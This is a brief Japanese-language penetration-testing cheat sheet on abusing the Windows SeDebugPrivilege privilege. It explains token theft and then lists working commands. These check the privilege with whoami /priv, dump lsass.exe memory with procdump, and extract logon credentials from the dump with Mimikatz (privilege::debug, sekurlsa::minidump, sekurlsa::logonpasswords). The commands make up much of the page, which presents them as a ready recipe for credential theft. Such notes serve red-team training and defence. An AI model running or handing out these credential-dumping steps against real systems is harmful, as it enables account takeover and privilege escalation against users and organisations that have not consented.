SeDebugPrivilege の悪用
概要
SeDebugPrivilege は、通常は自分のセッション内のプロセスにしかできないデバッグ操作を、他のユーザー(SYSTEM を含む)が所有するプロセスに対しても行えるようにする特権。本来はデバッガやシステム管理ツールのために存在するが、有効になっていると SYSTEM プロセスのメモリやトークンにアクセスできてしまう。
典型的な悪用は、SYSTEM で動作しているプロセスのアクセストークンを複製して自分のプロセスに適用する「トークン窃取」。これにより、SYSTEM 権限のプロセスを新たに起動できる。Mimikatz の privilege::debug はこの特権を有効化する操作そのもので、資格情報ダンプなどの前段としてほぼ必ず叩かれる。
手順
whoami /privでSeDebugPrivilegeが有効になっているか確認する(管理者グループのメンバーには既定で割り当てられているが、既定では無効化されており有効化が必要なことが多い)。- デバッグ権限で
lsass.exeのメモリをダンプする。 - ダンプから資格情報を取り出す(Mimikatz にダンプを読み込ませる)。
コマンド
# SeDebugPrivilege を持っているか確認する
whoami /priv
# LSASS のメモリダンプを取る
.\procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Mimikatz でダンプから資格情報を取り出す
mimikatz # privilege::debug
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
注意点
SeDebugPrivilegeを持つだけでは自動的に有効化されているとは限らず、明示的に有効化する処理(Mimikatz のprivilege::debugなど)が必要な場合がある。